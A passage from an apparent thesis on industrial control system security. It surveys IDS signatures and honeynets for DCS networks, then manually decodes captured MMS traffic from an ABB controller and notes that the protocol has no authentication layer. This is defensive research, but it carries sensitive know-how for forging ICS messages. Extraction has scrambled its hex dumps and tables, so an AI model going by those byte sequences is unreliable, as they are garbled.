limiting the memory used for encryption keys. They also propose some simplification in
the protocol for key exchange.
3.3
IDS for Distributed Control System (DCS)
Many guidelines such as National Institute of standards and technology (NIST) guide
to supervisory control and data acquisition and industrial control system security[45]
recommend the use of IDS in DCS systems. But there are very few signature sets
available for DCS protocols. As stated in 2.4.1 there are different types of IDS systems.
3.4. DCS HONEYNET
37
As a host-based IDS would be too resource consuming for most embedded devices, IDS
in DCS networks must be network based IDS. In [33] Paul Oman and Matthew Phillips
have created a model DCS testbed used for IDS experimentation. As part of their tests
they have increased the systems logging of network events to provide improvements
in security and auditing capabilities. Their goal is to show that existing technologies
can be extended to DCS networks in a cost effective manner, improving the intrusion
detection and event monitoring in process control networks in the process. By writing
IDS signatures for their devices they were able to monitor the network for commands
capable of causing damage to the system. These signatures included alerts for failed
password attempts, commands to change passwords and firmware uploads in addition to
event monitoring with threshold reports. From their ”proof-of-concept” implementation
they found that real-time monitoring of DCS communications is possible via protocol
specific IDS analysis through COTS products (e.g., Snort [Sno07]) [33]. The increased
logging also reduced the time used to recover from faults.
Digital Bond [Dig07] has developed and released a set of DCS IDS signatures. These
signatures identify possible attacks through protocol fuzzing, unauthorized DCS communication, and use of protocol that is rare and extremely dangerous if misused. These
signature are developed for Snort and are publicly available for download at [SCA07c].
The current signature set contain signatures for DNP3, Inter-Control Center Communications Protocol (ICCP) and Modbus TCP. The development of IDS signatures for
Snort show that the industry is currently developing IDS solutions for DCS networks.
3.4
DCS Honeynet
There is still little information about DCS vulnerabilities and attacks, despite the growing awareness of security issues in industrial networks. As there, to our knowledge, are
not any public vulnerability reporting such as CERT or BugTraq for vendor advisories
and vulnerabilities found in industrial devices, there are very little known about what
vulnerabilities exist in such devices today. We are aware of British Columbia Institute
of Technology (BCIT) vulnerability database, but this is not open to the public. That
means that we must use other means to gain information. One way to gain information
about hacker activities is to deploy a honeypot.
The term honeypot or honeytrap was used during the cold war as a name for employing
sexual entrapment to gain information from an enemy. In computer terminology, a honey
pot is a system set up to attract and be compromised by attackers for the purpose of
deflecting them from real systems and learning from the attackers. The concept of using
honeypots is not a new concept it the IT world. In the book The Cuckoo’s Egg [44],
we follow Cliff Stoll‘s hunt for a hacker using honey pot like methods. He posted fake
data he knew the hacker would find interesting to keep the hacker occupied in his system
while he was tracing him.
38
CHAPTER 3. STATE OF THE ART
RFC 2828 [40] defines a honeypot as “A system (e.g., a web server) or a system resource
(e.g., a file on a server), that is designed to be attractive to potential crackers and
intruders, like honey is attractive to bears.” The RFC also refers to entrapment under
honeypots, and defines entrapment as ”The deliberate planting of apparent flaws in a
system for the purpose of detecting attempted penetrations or confusing an intruder
about which flaws to exploit.”. This definition seems somewhat tedious so we prefer the
shorter definition of Spitzner in [42] where he defines honeypots as a “security resource
who’s value lies in being probed, attacked or compromised”. A honeynet is a collection
of honeypots paired with a network-based IDS.
Digital Bond has designed and deployed DCS Honeynet [SCA07a]. This honeynet appears to an attacker to be a Programmable Logic Controller (PLC) used in SCADA and
control systems. Their honeynet is only available to their subscribers, but they seem
to base their implementation on the Honeynet project[The07d] using their own DCS
signatures for Snort [Sno07].
Instead we will focus on the SCADA honeynet project [SCA07b], an open source alternative from Sourceforge.net. The project’s goal is to determine feasibility of building a
software-based framework to simulate a variety of industrial networks such as SCADA,
DCS, and PLC architectures [SCA07b]. They have released a set of Honeyd 7 virtual
honeypot scripts as a proof-of-concept code, enabling a single Linux host to simulate
multiple industrial devices and complex network topologies. The implementation uses
IDS technologies to detect and monitor the honeynet
The SCADA honeynet project [SCA07b] proposes several uses for their code:
• Build a HoneyNet for attackers, to gather data on attacker trends and tools.
• Provide a scriptable industrial protocol simulators to test a real live protocol implementation.
• Research countermeasures, such as device hardening, stack obfuscation, reducing
application information, and the effectiveness network access controls.
We will not go into detail on the specific technologies behind the honeynet as this is
outside the scope of this thesis, but we feel that the concept of using a honeynet to
gather information about vulnerabilities in DCS networks is important .
3.5
Recommended Network Topology
To end this chapter we have included the NIST in depth architecture for Industrial
Control System (ICS) networks in figure 3.2 and relate this to the rest of the chapter. We
7
Honeyd is a small daemon that creates virtual hosts on a network. The hosts can be configured to
run arbitrary services, and their personality can be adapted so that they appear to be running certain
operating systems [Dev07].
3.5. RECOMMENDED NETWORK TOPOLOGY
39
observe that the figure separates between three different outside entities. The Backup
Control Center, has dedicated communication path and direct access to the control
network through a firewall. The Remote Business Peers can access the corporate Local
Area Network (LAN) through the corporate modem pool using dial up lines through the
corporate firewall. The final entity is the Internet.
The corporate firewall is a multihomed firewall with different physical interfaces for
different parts of the corporate LAN. Services such as e.g., email, Domain Name Service
(DNS), web traffic and authentication services are placed inside separate DMZ’s, as all
these services need to be accessible from the outside world but pose a security risk for
the internal networks; they are thus filtered through the corporate firewall.
The corporate LAN contains business servers, workstations and web application servers,
but as many of the decisions made by people on the corporate office network are based on
information in the control network (e.g., the database historian’s statistical data) they
need to retrieve data from the DCS network. This opens up the firewall between the
DCS and corporate network. To protect the DCS network the NIST guide recommends
a second multihomed firewall with a DMZ, separating the corporate LAN from the
DCS network. In theory all requests from the corporate LAN for information in the
DCS network must be made through a proxy in the DMZ. Even though there exists a
corporate firewall we see in figure 3.2 that the NIST guide allows external VPN access
directly through the control system firewall. As depicted in figure 3.2, we find dedicated
IDS sensors on each network segment and on the edge of the DCS network. The IDS
sensor on the edge of the DCS network should contain DCS specific signatures to detect
attacks on DCS protocols. The NIST guide also recommend the use of Third party
assessment to survey the network and test for vulnerabilities. This is similar to the
views of Stamp et al. in [43].
We feel that figure 3.2 is a bit too detailed and complex, so we will provide a simplified
description of this architecture in figure 3.3. The first line of demarcation is at the
corporate firewall separating the corporate network from the Internet The basic idea is
that to gain access to the control network, we must traverse a second firewall, go through
the DMZ for the control network and pass through another firewall filtering the requests
from the DMZ. The firewalls in the DMZ protecting the control networks should have
knowledge about DCS protocols to be able to remove malicious commands at application
level. This is depicted in figure 3.3.
Even though the two firewalls surrounding the DMZ can be implemented as one multihomed firewall we have chosen to depict it as two separate entities to illustrate the idea
behind this architecture.
40
CHAPTER 3. STATE OF THE ART
Figure 3.2: U.S Department of Homeland security Control Systems security programs
recommendation for Defense in depth architecture for SACDA networks from the NIST
guide [45].
3.5. RECOMMENDED NETWORK TOPOLOGY
41
Figure 3.3: The various networks are depicted as clouds to provide simplified view of the
architecture depicted in figure 3.2
Chapter 4
Analysis of Manufacturing
Message Specification (MMS)
We will in this chapter look closer at the security of the Manufacturing Message Specification
(MMS). As stated in section 1.2, our research method is mainly the engineering method
and we will apply this method in this chapter to analyze the Manufacturing Message
Specification (MMS). We will especially look into the construction of MMS packages
and how they may be altered and forged. But first we will give a brief introduction of
the techniques and protocols used in this chapter.
4.1
ASN.1
As described in section 2.6.1, MMS uses ASN.1 to encode data at the OSI presentation
layer before transmission. The ASN.1 representation of data is independent of machineoriented structures and encodings and also of the physical representation of the data
(referred to as transfer syntax in communication terminology). MMS uses BER to
encode ASN.1 data before transmission. As we will be decoding BER code, we will
explain BER encoding in the next section.
4.2
BER
The Basic Encoding Rules (BER) are one of the original encoding rules specified by the
ASN.1 standard for encoding abstract information into a concrete data stream. The
rules, collectively referred to as a transfer syntax in ASN.1 parlance, specify the exact
octet sequences which are used to encode any given data item before it is transmitted over
a network. The BER syntax is defined by the ITU-T’s X.690 standards document, which
is part of the ASN.1 document series. In addition to BER there are three alternative
42
4.2. BER
Bit number
43
7
0
0
1
1
6
0
1
0
1
5
4
3
2
1
0
X
X
X
X
X
0
1
Implication
UNIVERSAL
APPLICATION SPECIFIC
CONTEXT SPECIFIC
PRIVATE
primitive data type
constructed data type
numeric identifier
Table 4.1: Description of the BER identifier. The seventh and sixth bits are combined
to denote the class of the ASN.1 tag. The sixth bit of the identifier indicates whether
the represented data type is a primitive or constructed one. The remaining X’ed bits of
the identifier represent a class number which is associated with a specific data type.
encodings, Canonical Encoding Rules (CER), Distinguished Encoding Rules (DER) and
Packet Encoding Rules (PER), but as these are not relevant for this thesis we will not
discuss them further.
BER is an self-identifying and self-delimiting encoding scheme, which means that each
data value can be identified, extracted and decoded individually [Bas07]. Each data
element is encoded using a triplet consisting of a type identifier (tag), a length description
and the actual data element1 The use of such a triplet for encoding is commonly referred
to as a Tag-Length-Value (TLV) encoding. The specifics of a tag are described in section
2.6.1. A generic triplet is depicted below.
[identifier (tag)] [length (of the contents)] [contents]
The use of TLV encoding allows any receiver to decode the ASN.1 information from
an incomplete information stream, without any requiring any pre-knowledge of the size,
content or semantic meaning of the data. Assuming that the communicating parties
share the same context specific module definitions.
BER uses the unique code assigned to an ASN.1 data type as an identifier for a data
type. This identifier is encoded as one or more bytes of every data type and creates the
tag. We can distinguish between two data types using these identifiers. The identifier
is well-structured to allow the representation of three levels of information within one
such code. All information encoded into an identifier is illustrated in table 4.1. On the
highest level, represented by the highest-order two bits of the tag octet(s), the class of the
data type is encoded [Bas07]. The third highest bit of the identifier indicates whether
the represented data type is a primitive or constructed one. A constructed data type
can be seen as a complex or compound data type hierarchically based on one or more
primitive data types. Data types are described in section 2.6.1. The remainder of the
1
In some cases an end-of-content marker may also be added, as we will see this is not the case our
implementation of MMS [46].
44
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
identifier is a numeric tag associated with a data type within a class. Tags ranging from
0 to 30 can be associated with the remaining 5 bits of the octets. For larger tags, these
5 bits are set to 111111, and one or more subsequent octets are used to encode the tag.
4.3
Analysis of MMS Communication
ISO 8823 states that the ISO OSI transport protocol exchanges information between
peers in discrete units of information called transport protocol data units (TPDUs) [1].
This is a fundamental difference between the TCP and the network service expected by
Transport Protocol Class 0 (TP 0). The difference, as described in section 2.6.1, is that
TCP manages a continuous stream of octets, with no explicit boundaries, while TP0
expects information to be sent and delivered in discrete objects termed network service
data units. Therefore RFC 1006 [39] describes that all TPDUs shall be encapsulated in
discrete units called TPKTs. The TPKT layer, depicted in figure 4.1, is used to provide
these discrete packets to the OSI Connection Oriented Transport Protocol (COTP) on
top of TCP2
We have intercepted some packages using Wireshark. As Wireshark does not support the
MMS protocol we were forced to manually decode the MMS PDUs. We are interested
to see what kind of information we can identify in these messages. We also wish to look
closer at the construction of an MMS message. When looking at MMS communication
in Wireshark we found the MMS protocol stack depicted in 4.1.
Figure 4.1: The MMS communication stack as Wireshark detects it. The figure does not
show the payload of COTP, which is the BER encoded ASN.1 structures of MMS.
As we see in figure 4.1, there are two protocols running on top of TCP. Above TCP
we find Transport packet (TPKT), which is a packet format used to emulate the ISO
transport services Connection Oriented Transport Protocol (COTP) on top of TCP.
RFC 1006 [39] describes how to implement ISOs transport protocol class 0 on top of
TCP. As stated in section 2.6.1 ISO 9506 [7] stipulate the use of OSItransport class 4 in
conjunction with MMS. Nevertheless RFC 1006 [39] describes the use of OSI transport
2
RFC 2126 [36] defines an implementation of Transport Protocol Class 2 over TCP. This service is
suitable when independence of normal or expedited data channels are required or when explicit transport
disconnection is needed. As we see no indication that this service is used we refer to [36] for more
information on this topic.
4.3. ANALYSIS OF MMS COMMUNICATION
45
class 0 to emulate an ISO Transport Service on top of the TCP. The reason for using
ISOs OSI transport class 0 on top of TCP/IP instead of transport class four as is that
transport class 0 achieves identical functionality as transport class 4 when running on
top of TCP. The TCP layer provides reliable transport service through error detection
and retransmission. It also handles segmentation and reassembly of PDUs. As TCP
provides all these properties as part of it’s service to the next layer there is no reason to
implement them again in the next layer.
A TPKT consists of two parts: a packet-header and a TPDU. The format of the header
is constant regardless of the type of packet and is as follows:
Field size:
<
8 bits
><
8 bits
><
16 bits
>
Field name:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
vrsn
|
reserved
|
packet length
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[39]
The field labeled vrsn is the version number which according to RFC 1006 [39] always
is three. The next field, reserved, is reserved for further use. The last field is the packet
length. This field contains the length of entire packet in octets, including packet-header.
The maximum TPDU size is 65531 octets, with a payload of maximum 65524 octets [39].
According to Wireshark we find COTP above the TPKT layer. RFC 0905 [32] describes
the ISO 8073 specification. The COTP data transport PDU is described below.
<
Byte number
Field name
header
><
body
>
1
2
3
4
5
... end
+----+-----------+-----------+------------ - - - - - -------+
| LI | T
CDT | TPDU-NR | User Data
|
|
| 1111 0000 | and EOT |
|
+----+-----------+-----------+------------ - - - - - -------+
[32]
The header length in octets is indicated by a binary number in the length indicator (LI)
field. This field has a maximum value of 254 (1111 1110)3 . The next field is divided into
two parts, first the PDU type specification (T), which describes the structure of the rest
of the PDU, e.g., Data Transfer (1111) as described above. The PDU type is encoded
as a four bit word. The full list of codes for data types can be found in [32]. The second
part, is the credit part (CDT) which is used to indicate a reliable transport service,
but this is always set to 0000 as TP 0 does not offer reliable transport. The third field
3
The value 255 (1111 1111) is reserved for possible extensions [32]
46
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
contains the TPDU number and an end of transfer indication flag. In all data transfer
packets the EOT flag is set and the TPDU number is zero, this might be because the
service relies on TCP sequence numbering on the TCP layer, but we have not found any
written documentation to support this claim.
We wish to note that there is no reference to ACSE in our packet dump. We verified
through Wireshark’ks documentation that ACSE is a supported protocol [Wir06]. That
leaves us with two possible conclusions:
1. The MMS protocol uses an implementation of ACSE which is not in conformance
with the standard, which leaves Wireshark unable to decode the packet layer.
2. The implementers of the MMS protocol have omitted the ACSE layer when implementing the protocol.
As we will show in section 4.4, we are fully capable of decoding the whole payload
of the COTP PDU to MMS structured ASN.1 text. We therefore conclude that the
current implementation of the MMS have omitted the ACSE layer, making the ACSE
authentication facilities forfeit. This means that there are no authentication or access
control facilities at the lower layers of the MMS stack.
4.4
Decoding MMS Communication
Now knowing the underlying protocols which MMS is running on, we will study the
MMS message communication between the MMS client and the MMS server and try
to determine if there are any signs of security mechanisms. We have used the setup
depicted in figure 4.2, where the AC 800 M client software is running on the Windows
XP workstation. The AC 800 M runs an MMS server4 . We used the client software to
create a small program which we downloaded to the controller over MMS. The program
was a very simple counting upwards application as described in C code below:
int i=0;
while(TRUE){
i=i+1;
}
The controller will now report the value of i, back to the client at regular intervals
using MMS. Once the program was downloaded to the controller and running, we used
Wireshark to capture MMS communication on the network. The first thing we noticed
4
For this experiment and further testing the server has IP address 193.75.73.55 and the client
193.75.73.36.
4.4. DECODING MMS COMMUNICATION
47
Figure 4.2: The picture illustrates MMS communication between an ABB AC 800 M
controller and a client workstation enumerating the intercepted PDUs. As seen in the
picture the packet sequence repeats itself.
48
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
when we examined the packet dump in Wireshark, was that there is a pattern in packet
communication repeating it self in a period of eight. This pattern was first identified by
packet sizes repeating themselves at a period of eight. 5
We wish to note that we chose an arbitrary packet in our packet dump as our starting
point and decoded packages sequentially from that point. We chose this strategy to
simulate an attacker tapping into a network at an arbitrary point in time. So we have
no knowledge of what is the correct staring point in our packet dump. We have included
the .pcap packet dump file in an CD for further analysis of the MMS packet dump.
In figure 4.3 we depict the program tree as it is represented in ABB’s Control Builder
application which runs on the client workstation.
Figure 4.3: Screendump from ABB’s Control Builder application depicting the program
tree hierarchy. We wish the reader to note the Application 1 string in the program
hierarchy.
5
Later we discovered that the packages increased in size by one byte, but as we shall see, this increase
is due to larger invokeID numbers over two octets.
4.4. DECODING MMS COMMUNICATION
4.4.1
49
The First PDU
We will now look closer at the first PDU and attempt to decode it. We have extracted
the payload of the COTP package at our randomly chosen starting point. We know from
ABBs homepages that the AC 800 M uses MMS
a0
80
11
4f
35
41
08
24
52
32
02
24
48
4d
36
01
4d
57
30
35
7b
53
53
11
38
a4
47
34
a0
39
3c
24
35
0f
36
a1
31
38
80
3a
24
35
0d
a0
24
34
24
38
30
33
4d
30
15
32
53
0c
a0
30
47
a0
13
3a
24
0a
80
4e
35
The package above is encoded in BER’s TLV format. We know this from [48] and [21]
which are white papers publicly available on the Internet. We must therefor use the
decoding rules described in section 4.2 to decode each TLV pair. When decoding this
first PDU, with the help of the MMS syntax module [SIS07], we found that this is a
confirmed-Request PDU. This confirmed-Request PDU contains an integer id named
invokeID with value 123 and confirmedServiceRequest for an read operation. The readrequest specifies a listOfVariables with three items. Each item is a vmd-specific object
name containing the identifier. We decoded these identifiers to:
• $MSG$1$$
• $HWS45854320:NORM
• $MSG$55265896
We will now go through the decoding process of the first PDU. As all values are given
in hexadecimal numbers, we must first convert them to binary numbers before we can
use the BER decoding rules for the tags, but we have omitted this step from the listing
below as it is very space consuming and only an intermediate calculation. Using table
4.1 we decode the first PDU to the following textual ASN.1 structure:
1
3
5
a0
41
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=65
02
01
7b
7
9
a4
3c
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
123
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH=60
11
13
a1
3a
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=58
50
15
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
a0
38
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=56
17
19
30
0c
UNIVERSAL c o n s t r u c t e d nr 16 (SEQUENCE)
LENGTH=12
a0
0a
21
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=10
23
80
08
25
CONTENT SPECIFIC p r i m i t i v e nr 0
LENGTH=8
24
4d
53
47
24
31
24
24
27
29
31
33
$
M
S
G
$
1
$
$
35
37
39
30
15
UNIVERSAL c o n s t r u c t e d nr 16 (SEQUENCE)
LENGTH=21
a0
0a
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=19
41
43
45
47
49
51
53
55
57
80
08
CONTENT SPECIFIC p r i m i t i v e nr 0
LENGTH=17
24
48
57
53
34
35
38
35
34
33
32
30
3a
$
H
W
S
4
5
8
5
4
3
2
0
:
4.4. DECODING MMS COMMUNICATION
4e
4f
52
4d
59
61
30
11
63
51
N
O
R
M
UNIVERSAL c o n s t r u c t e d nr 16 (SEQUENCE)
LENGTH=17
65
a0
0f
67
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=15
80
0d
69
CONTENT SPECIFIC p r i m i t i v e nr 0
LENGTH=13
71
24
4d
53
47
24
35
35
32
36
35
38
39
36
73
75
77
79
81
83
85
$
M
S
G
$
5
5
2
6
5
8
9
6
$
We observe that MMS utilizes many CONTENT SPECIFIC tags to identify MMS specific data types. As stated earlier we can use the MMS module definition to decode these
tags. This module is publicly available for anyone at [SIS07] or through google. Before
we continue our decoding, we feel that we should say some words about the MMS syntax
module [SIS07].
As explained in section 2.6.1 all ASN.1 modules begin with the same syntax. We see
form the module top that the module name is MMS and it has the object identifier
stated in the curly brackets below. The module exports the MMSPDU declaration, and
imports some object definitions from the ISOs 8650 ACSE module.
52
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
MMS { iso standard 9506 part(2) mms-general-module-version(2) }
DEFINITIONS ::=
BEGIN
EXPORTS MMSpdu;
IMPORTS
AP-title,
AP-invocation-identifier,
AE-qualifier,
AE-invocation-identifier
FROM ISO-8650-ACSE-1
Now we will use some excerpts from the MMS module to decode all content specific
tags to textual ASN.1, identifying each of the object definitions used in this PDU. We
start with the MMS PDU module definition which is exported to the lower layers. The
module defines the different types of PDUs available in MMS and an excerpt is printed
below. The full MMS module can be found in section A.3.
MMSpdu ::= CHOICE
{
confirmed-RequestPDU
confirmed-ResponsePDU
confirmed-ErrorPDU
[0]
[1]
[2]
IMPLICIT Confirmed-RequestPDU,
IMPLICIT Confirmed-ResponsePDU,
IMPLICIT Confirmed-ErrorPDU,
*continues*
}
From the MMS PDU definition, we see that we have a choice between a set of PDUs. We
decoded the first tag of the PDU hex dump to be a CONTENT SPECIFIC constructed
tag with identifier number zero. We se that this maps to a confirmed-RequestPDU. The
confirmed-RequestPDU consists of an implicit sequence and is described in ASN.1 syntax
below.
Confirmed-RequestPDU ::= IMPLICIT SEQUENCE
{
invokeID
Unsigned32,
listOfModifier
SEQUENCE OF Modifier OPTIONAL,
confirmedServiceRequest,
[79] CS-Request-Detail
OPTIONAL
}
4.4. DECODING MMS COMMUNICATION
53
The confirmed-RequestPDU has an invokeID which is an Unsigned32 number. We decoded the invokeID of our first PDU to have the value 123. As seen in the decoded hex
values in the beginning of this section. The invokeID is followed by an listOfModifier
which is optional and to our knowledge not used in our implementation of MMS. The
next tag must be mapped to a confirmedServiceRequest as this is the next identifier
in the sequence. Excerpts from the confirmedServiceRequest is depicted below, for the
full module we refer to section A.2.2. The CS-Request-Detail is also optional, and not
included in the messages we have intercepted.
ConfirmedServiceRequest
{
status
getNameList
identify
rename
read
::= CHOICE
[0]
[1]
[2]
[3]
[4]
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
Status-Request,
GetNameList-Request,
Identify-Request,
Rename-Request,
Read-Request,
*continues*
}
The ConfirmedServiceRequest gives a choice between a large number of requests, we
have truncated the list after identifying the correct tag. We decoded the tag to be a
CONTENT SPECIFIC constructed tag with identifier number 4, which indicates a ReadRequest. The Read-Request is a implicit sequence consisting of an specificationWithResult
identifier, which by default is set to false. Default values are not transmitted as they are
known to both sender and receiver [30]. The next identifier in the Read-Request sequence
is a explicit variableAccessSpecification.
Read-Request ::= IMPLICIT SEQUENCE
{
specificationWithResult
variableAccessSpecification
}
[0]
[1]
VariableAccessSpecification ::= CHOICE
{
listOfVariable
[0]
{
variableSpecification
alternateAccess
[5]
},
variableListName
[1]
}
IMPLICIT BOOLEAN DEFAULT FALSE,
VariableAccessSpecification
IMPLICIT SEQUENCE OF SEQUENCE
VariableSpecification,
IMPLICIT AlternateAccess OPTIONAL
ObjectName
54
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
The variableAccessSpecification object definition is a choice between a listOfVariable or
a variableListName. We have a CONTENT SPECIFIC constructed tag with identifier
number zero, which indicates our PDU is a confirmed request PDU containing a read request for a list of variables. As we can read from the definition above the listOfVariable is
an implicit sequence of sequence(s) of type VariableSpecification. Our decoding does not
contain a CONTENT SPECIFIC constructed tag nr five so the optional AlternateAccess
tag is not used.
VariableSpecification ::= CHOICE
{
name
address
variableDescription
{
address
typeSpecification
},
scatteredAccessDescription
invalidated
}
[0]
[1]
[2]
ObjectName,
Address,
IMPLICIT SEQUENCE
Address,
TypeSpecification,
[3]
[4]
IMPLICIT ScatteredAccessDescription,
IMPLICIT NULL
We se that there are different ways to address a object, just as described in section 2.6.1.
Our decoding translates to a CONTENT SPECIFIC constructed tag nr 0 which is an
Objectname.
ObjectName ::= CHOICE
{
vmd-specific
domain-specific
{
domainId
itemId
},
aa-specific
}
[0]
[1]
IMPLICIT Identifier,
IMPLICIT SEQUENCE
Identifier,
Identifier
[2]
IMPLICIT Identifier
Identifier ::= VisibleString
The ObjectName is a vmd-specific name, as our next tag is CONTENT SPECIFIC
constructed tag nr 0. This gives us an identifier which is a VisibleString with the value
= $MSG$1$$. There are two more objects requested in the listOfVariables. These
4.4. DECODING MMS COMMUNICATION
55
are also mapped to VisibleString in the same manner as the first object. These have
identifiers $HWS45854320:NORM and $MSG$55265896. To summarize, the first PDU,
is a Confirmed-RequestPDU with an invokeID of 123 and a confirmedServiceRequest for
reading a list of variables addressed by their vdm-specific identifier.
4.4.2
The Second PDU
We will now continue with decoding the response from the MMS server back to the
client. The hex-dump of the response can be seen below.
a1 1c 02 01 7b a4 17 a1 15 83 01 01 85 01 ff 85 01
03 85 01 02 83 01 00 85 04 02 bb ae 70
We expect this PDU to contain the values requested by the client in the previous packet.
When decoding the PDU we get the following values.
• A boolean TRUE
• An integer with value -1
• An integer with value 3
• An integer with value 2
• A boolean FALSE
• The hexadecimal value 0x2bbae70 or 45854320 in the decimal number system
How to interpret these values are currently not clear to us, but hopefully this will become
clearer after we decode some more PDUs. But we observe that the decimal number is
similar to that found in the identifier $HWS45854320:NORM in the previous request.
The PDU decodes to the following ASN.1 structure.
1
3
5
a1
1c
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=28
02
01
7b
7
9
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
123
a4
17
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH=23
11
13
15
a1
15
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=21
83
CONTENT SPECIFIC p r i m i t i v e nr 3
56
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
01
17
19
00
CONTENT SPECIFIC p r i m i t i v e nr 3
LENGTH=1
0
83
01
33
35
02
CONTENT SPECIFIC p r i m i t i v e nr 5
LENGTH=1
2
85
01
29
31
03
CONTENT SPECIFIC p r i m i t i v e nr 5
LENGTH=1
3
85
01
25
27
ff
CONTENT SPECIFIC p r i m i t i v e nr 5
LENGTH=1
−1
85
01
21
23
01
LENGTH=1
1
85
04
CONTENT SPECIFIC p r i m i t i v e nr 5
LENGTH=4
37
39
41
02
bb
ae
70
0 x2
0xbb
0 xae
0 x70
We notice that the first tag is a1, which is a CONTENT SPECIFIC constructed nr one.
As seen in the MMSpdu module depicted below, this maps to a Confirmed-ResponsePDU.
The full MMS PDU module can be found in section A.3. So we can verify the assumption
that this PDU is the response of a previous request PDU.
MMSpdu ::= CHOICE
{
confirmed-RequestPDU
confirmed-ResponsePDU
[0]
[1]
IMPLICIT Confirmed-RequestPDU,
IMPLICIT Confirmed-Response
*continues*
}
An Confirmed-ResponsePDU is described below. It consists of an invokeID and a ConfirmedServiceResponce. The invokeID is the same as for the request in the previous
PDU, namely 123. This indicates a linking mechanism between a request-response pair
through a shared invokeID. The optional CS-Request-Detail field in not in use.
4.4. DECODING MMS COMMUNICATION
57
Confirmed-ResponsePDU ::= SEQUENCE
{
invokeID
Unsigned32,
ConfirmedServiceResponce,
[79] CS-Request-Detail
OPTIONAL
}
ConfirmedServiceResponce
{
status
getNameList
identify
rename
read
::= CHOICE
[0]
[1]
[2]
[3]
[4]
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
Status-Response,
GetNameList-Response,
Identify-Response,
Rename-Response,
Read-Response,
*continues*
}
The we see from our decoding that the invokeID tag is followed by an CONTENT
SPECIFIC constructed nr 4 tag, a read in the ConfirmedServiceResponce, which maps
to a Read-Response. The full ConfirmedServiceResponce module can be found in section
A.2.2.
Read-Response ::= SEQUENCE
{
variableAccessSpecification
listOfAccessResult
}
AccessResult ::= CHOICE
{
failure
success
}
[0]
[1]
VariableAccessSpecification OPTIONAL,
IMPLICIT SEQUENCE OF AccessResult
[0]
Data
IMPLICIT DataAccessError,
Data ::= CHOICE
{
-- context tag 0 is reserved for AccessResult
58
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
array
structure
boolean
bit-string
integer
[1]
[2]
[3]
[4]
[5]
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
SEQUENCE OF Data,
SEQUENCE OF Data,
BOOLEAN,
BIT STRING,
INTEGER,
*continues*
}
The Read-Response has a listOfAccessResults which is an implicit sequence of AccessResult. An AccessResult can either be a failure or success. If the request is a success then
we get a choice between different primitive data types in the Data module definition
depicted above. The full Data module is included in section A.2.3.If we get a failure the
response will be an integer error code from the DataAccessError module. The DataAccessError module definition in included in section A.2.4 From the decoded PDU, we see
that we first get a CONTENT SPECIFIC primitive nr three, which maps to a boolean
with value 1 or TRUE. Followed by a CONTENT SPECIFIC primitive nr five, which
is an integer with value -1 as all integers are written in twos compliment [48]. Then an
integer with value 3, and then another integer with value 2 followed by another boolean
with value 0 or FALSE and finally the hexadecimal value 0x2bbae70 which converts to
45854320 in the decimal number system. As commented earlier is this the same value
as we discovered in one of the vdm-specific identifiers in the previous request. So the
two messages are linked in some way but neither of them contain data from the process
counting upwards.
4.4.3
The Third PDU
The next PDU captured is printed below:
a0
82
70
01
2f
20
70
00
02 01 7c a4 2a a1 28 a0 26 30 24 a1 22
03 ff 17 52 32 36 38 34 32 38 37 36 41
6c 69 63 61 74 69 6f 6e 5f 31 02 00 03
03
As we will show below this PDU contains a invokeID with value 124 and an unconstrainedAddress of the OCTET STRING type. The unconstrainedAddress has the value
325523R268421876Application 1203103. This PDU decodes to:
2
4
a0
2f
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=47
02
01
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
4.4. DECODING MMS COMMUNICATION
6
8
7c
124
a4
2a
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH=42
10
12
14
a1
28
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=40
a0
26
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=38
16
18
20
30
24
UNIVERSAL c o n s t r u c t e d nr 16 (SEQUENCE)
LENGTH=36
a1
22
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=34
22
24
26
28
30
32
34
36
38
40
42
44
46
48
82
20
CONTENT SPECIFIC p r i m i t i v e nr 2
LENGTH=32
03
ff
17
52
32
36
38
34
32
31
38
37
36
41
70
70
6c
69
63
61
74
69
6f
3
255
23
R
2
6
8
4
2
1
8
7
6
A
p
p
l
i
c
a
t
i
o
59
60
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
6e
5f
31
02
00
03
01
00
03
50
52
54
56
n
1
2
0
3
1
0
3
The first a0 tag indicates that the MMSpdu is have another confirmed-RequestPDU. The
module is printed below.
MMSpdu ::= CHOICE
{
confirmed-RequestPDU
confirmed-ResponsePDU
[0]
[1]
IMPLICIT Confirmed-RequestPDU,
IMPLICIT Confirmed-ResponsePDU,
* continues *
}
